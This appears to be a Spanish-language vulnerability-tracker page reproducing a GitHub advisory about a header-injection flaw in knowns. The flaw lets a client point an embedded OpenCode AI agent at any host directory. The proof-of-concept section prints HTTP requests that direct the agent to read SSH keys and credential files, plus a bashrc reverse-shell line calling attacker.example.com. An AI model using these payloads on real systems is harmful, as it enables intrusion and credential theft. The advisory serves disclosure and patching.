llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · knowns

GHSA-9H2Q-R9FH-F98W

Sandbox Escape: Unauthenticated Header Injection Grants AI Agent Unrestricted Access to Host Filesystem

Parche disponible
Descargar PNG JSON
CVSS 4.0
10.0
Crítica
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -17 d de la divulgación
Exposición73 dDesde la divulgación, 8 sept 2026, 11:00 p. m.
Detección71 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaAtender
Priorizar en el próximo ciclo de cambios
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 4.0 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 0.31.0
Monitoreo
Detectada +1
23 ago 26
9 sept 26
19 nov 26
21 nov 26
23 ago 26
14 sept 26
7 oct 26
29 oct 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 0.31.0 knowns · -17 d desde divulgación
Divulgación Publicada GHSA-9H2Q-R9FH-F98W divulgada · CVSS 10 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

> [!NOTE]
> Affected versions: ≤ v0.30.x - Attack surface removed in v0.31.0
> The embedded OpenCode proxy (`proxyOpenCode()`, `x-opencode-directory`, `/api/opencode/*` endpoints)
> was removed entirely in v0.31.0 as part of the Chat UI removal. Users on v0.30.x and earlier should
> upgrade to v0.31.0 or later. There is no patch for older versions.

---

Overview

An improper authorization and header-spoofing vulnerability was reported regarding Knowns' reverse proxy for an embedded OpenCode AI agent daemon (`internal/server/server.go` https://github.com/knowns-dev/knowns/tree/main/internal/server/server.go). The report asserted that when proxying HTTP requests to a local OpenCode daemon, the proxy failed to unconditionally overwrite the `x-opencode-directory` request header and the `?directory` query parameter. A client who explicitly sets either value could direct the OpenCode AI agent to operate against any arbitrary directory on the host filesystem rather than the project root.

Because `proxyOpenCode()` https://github.com/knowns-dev/knowns/tree/main/internal/server/server.go at lines 1283-1296 was claimed to only inject `activeRoot` when the incoming request leaves these fields empty, any non-empty client-supplied value would pass through unmodified to the OpenCode backend. The OpenCode daemon reads `x-opencode-directory` to initialize its file tree, git interface, and terminal execution environment. An attacker with access to the Knowns HTTP port could therefore instruct the autonomous AI agent - with full tool access - to read, write, and execute against any host directory, including system directories and credential stores.

The attack surface is network-reachable. Knowns exposes its HTTP API and MCP endpoint to external clients - the same exposure confirmed in the predecessor advisory GHSA-w323-3wpx-f7g5 (MCP Permission Guard Bypass), which shares this attack surface. Any HTTP client that can reach the Knowns server could inject the header without credentials beyond what the normal API accepts.

Affected Paths

| File Path | Role | Vulnerability & Execution Impact |
| :--- | :--- | :--- |
| `internal/server/server.go:1283-1296` https://github.com/knowns-dev/knowns/tree/main/internal/server/server.go | Proxy Authorization | `proxyOpenCode()` https://github.com/knowns-dev/knowns/tree/main/internal/server/server.go - Fail-open directory enforcement (CWE-284, CWE-863): The `?directory` query parameter is only set if `q.Get("directory") == ""` and was previously scoped only to `GET /session` requests. The `x-opencode-directory` header is only injected if `r2.Header.Get("x-opencode-directory") == ""`. Both checks fail open: any non-empty client-supplied value bypasses enforcement entirely. |
| `internal/server/server.go:1304` https://github.com/knowns-dev/knowns/tree/main/internal/server/server.go | Proxy Forward | `proxy.ServeHTTP(w, r2)` - Unmodified attacker header forwarded to daemon: The request clone `r2` is forwarded to the OpenCode daemon with attacker-controlled `x-opencode-directory` intact. The daemon treats this header as authoritative. |
| `internal/server/server.go:1249-1282` https://github.com/knowns-dev/knowns/tree/main/internal/server/server.go | Proxy Entry Point | `proxyOpenCode()` https://github.com/knowns-dev/knowns/tree/main/internal/server/server.go - No pre-forward sanitization: The function performs no stripping or normalization of `x-opencode-directory` or `?directory` before calling the proxy. Authentication (password check) occurs at the Knowns layer but does not prevent the header injection at the OpenCode layer. |

Root Cause

The reported proxy guard logic uses a fail-open conditional: it acts only when the header or parameter is absent. The correct pattern is fail-closed: always overwrite these values with `activeRoot` regardless of what the client sent. The distinction is one line - `if == ""` vs unconditional `Set`.

Flaw A - Fail-Open Header Guard in `proxyOpenCode`

`internal/server/server.go:1283-1296` https://github.com/knowns-dev/knowns/tree/main/internal/server/server.go:

// Auto-inject directory for session listing so OpenCode only returns
// sessions belonging to this project (avoids cross-project leakage).
if r2.URL.Path == "/session" && r.Method == "GET" && activeRoot != "" {
    q := r2.URL.Query()
    if q.Get("directory") == "" {                          // ← only sets if client left it empty
        q.Set("directory", activeRoot)
        r2.URL.RawQuery = q.Encode()
    }
}

if activeRoot != "" && r2.Header.Get("x-opencode-directory") == "" {   // ← only sets if client left it empty
    r2.Header.Set("x-opencode-directory", activeRoot)
}

Three compounding defects:

  • Conditional injection on `x-opencode-directory`: The `== ""` check means any non-empty client value is preserved verbatim. Setting `x-opencode-directory: /root` or `x-opencode-directory: C:\Windows\System32` on the incoming request leaves the header intact on `r2`.
  • `?directory` guard scoped to `GET /session` only: The query parameter guard was conditioned on a specific path and method, leaving all other OpenCode API routes (`/session` POST, `/message`, `/file`, `/tool`, etc.) without any directory injection.
  • No stripping before the proxy: Neither `x-opencode-directory` nor `?directory` is deleted from `r2` before being forwarded. There is no normalization step.
Flaw B - OpenCode Daemon Trusts Header Unconditionally

The OpenCode daemon receives the forwarded request and reads `x-opencode-directory` as the authoritative working directory for that request's scope. It initializes its internal file tree, git interface, and all tool execution paths under the attacker-specified directory. Tool calls made by the AI agent - file reads, file writes, shell commands, git operations - all execute against the attacker-controlled path.

Because OpenCode is an autonomous AI agent with broad tool access, a single API request pointing it at `/root`, `/etc`, or `~/.ssh` can yield cascading host-level actions without further interaction.

Attack Vector

| Phase | Step | Effect |
| :--- | :--- | :--- |
| 1. Identify Port | Attacker identifies Knowns server port (default `4141`, discoverable via `.knowns/.server-port` or network scan) | HTTP access to `127.0.0.1:4141` confirmed |
| 2. Craft Request | Attacker sends `POST /api/opencode/session` with `x-opencode-directory: /root` (or any sensitive path) | Knowns receives request; `proxyOpenCode()` https://github.com/knowns-dev/knowns/tree/main/internal/server/server.go sees non-empty header value |
| 3. Proxy Bypass | `r2.Header.Get("x-opencode-directory") == ""` evaluates false; `activeRoot` is not injected | `r2` forwarded to OpenCode daemon with attacker-supplied path intact |
| 4. Agent Initialization | OpenCode daemon initializes file tree, git interface, and tool environment at `/root` | All subsequent agent tool calls execute against `/root` |
| 5. Autonomous Host Actions | AI agent executes file reads, writes, and shell commands under `/root` | Arbitrary host file access and manipulation with daemon's OS privileges |

Example exploit request:

POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
x-opencode-directory: /root
Content-Type: application/json

{
  "title": "System Audit",
  "prompt": "List all files in this directory and show me the contents of any credential files"
}

Alternate vector - query parameter injection:

GET /api/opencode/session?directory=/etc HTTP/1.1
Host: 127.0.0.1:4141

Preconditions:
- Attacker has HTTP access to the Knowns server (network-reachable).
- OpenCode runtime assumed active.
- No authentication bypass required: injection operates at directory scoping layer.

Proof of Concept

Payload: SSH Key Exfiltration via AI Agent
POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim/.ssh

{
  "title": "Key Inspection",
  "prompt": "Read and display the contents of id_rsa"
}

The OpenCode agent, initialized at `/home/victim/.ssh`, reads and returns the SSH private key through normal AI tool output.

Payload: Credential Store Access
POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim

{
  "title": "Config Review",
  "prompt": "Find and show me all .env files, AWS credential files, and any other configuration files containing credentials"
}
Payload: File Write via Agent Tool
POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim

{
  "title": "Setup",
  "prompt": "Add the following line to ~/.bashrc: bash -i >& /dev/tcp/attacker.example.com/4444 0>&1"
}

The agent writes the reverse shell payload to the victim's shell profile via its file-write tool.

Impact & Blast Radius

  • Confidentiality: HIGH - AI agent can read any file on the host accessible to the OpenCode daemon process - SSH keys, AWS credentials, `.env` files, browser session stores, application secrets.
  • Integrity: HIGH - AI agent can write, modify, and delete arbitrary host files via its tool interface. Shell profiles, cron jobs, git hooks, and SSH `authorized_keys` are all within scope.
  • Availability: HIGH - AI agent can corrupt or delete critical configuration or system files.
  • Subsequent System Impact: HIGH - By bypassing directory scoping, the attacker pivots from proxy authority into the autonomous AI daemon execution context operating directly on the host operating system.

CVSS v4.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Score: 10.0 Critical

Rationale for each metric:

| Metric Group | Metric | Value | Justification |
| :--- | :--- | :--- | :--- |
| Exploitability | Attack Vector (AV) | Network (N) | Knowns API endpoint reachable over network; no local access required. |
| | Attack Complexity (AC) | Low (L) | Single crafted HTTP request with spoofed header; no race condition or timing constraints. |
| | Attack Requirements (AT) | None (N) | No non-default server configuration required if route is exposed. |
| | Privileges Required (PR) | None (N) | No authenticated account required on default unauthenticated installations. |
| | User Interaction (UI) | None (N) | Fires immediately upon request receipt without victim interaction. |
| Vulnerable System | VC (Confidentiality) | High (H) | Arbitrary read access through AI agent tools. |
| | VI (Integrity) | High (H) | Full write and file manipulation capabilities. |
| | VA (Availability) | High (H) | File deletion and corruption capability. |
| Subsequent System | SC (Confidentiality) | High (H) | Host files and external environment credential exfiltration. |
| | SI (Integrity) | High (H) | Host-level execution and persistence via shell profile/cron writes. |
| | SA (Availability) | High (H) | Host operating system configuration corruption. |

Remediation

Unconditionally overwrite `x-opencode-directory` and `?directory` with `activeRoot` in `proxyOpenCode()` https://github.com/knowns-dev/knowns/tree/main/internal/server/server.go. Both values must be treated as server-controlled, not client-supplied.

--- a/internal/server/server.go
+++ b/internal/server/server.go
@@ -1282,17 +1282,14 @@ func (s *Server) proxyOpenCode(w http.ResponseWriter, r *http.Request) {
     }
 
     // Always enforce the canonical project directory - never trust client-supplied
     // x-opencode-directory or ?directory values.
-    if r2.URL.Path == "/session" && r.Method == "GET" && activeRoot != "" {
+    if activeRoot != "" {
         q := r2.URL.Query()
-        if q.Get("directory") == "" {
-            q.Set("directory", activeRoot)
-            r2.URL.RawQuery = q.Encode()
-        }
+        q.Set("directory", activeRoot)
+        r2.URL.RawQuery = q.Encode()
+
+        // Strip and overwrite x-opencode-directory unconditionally.
+        r2.Header.Del("x-opencode-directory")
+        r2.Header.Set("x-opencode-directory", activeRoot)
     }
-
-    if activeRoot != "" && r2.Header.Get("x-opencode-directory") == "" {
-        r2.Header.Set("x-opencode-directory", activeRoot)
-    }
 
     inspection, err := s.prepareOpenCodeRuntimeMemory(r2, activeRoot)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
Requisitos de ataqueAT:N
NingunoPresentes
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaPasivaActiva
Confid. (sistema)VC:H
AltoBajoNinguno
Integridad (sistema)VI:H
AltoBajoNinguno
Disponib. (sistema)VA:H
AltoBajoNinguno
Confid. (posterior)SC:H
AltoBajoNinguno
Integridad (posterior)SI:H
AltoBajoNinguno
Disponib. (posterior)SA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
knowns≤ 0.30.0
0.30.0
0.35.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmknowns
Corregida 0.31.0 -17 d 0.35.0 no afectada
Versiones corregidas0.31.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/knowns-dev/knowns/security/advisories/GHSA-9h2q-r9fh-f98w

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.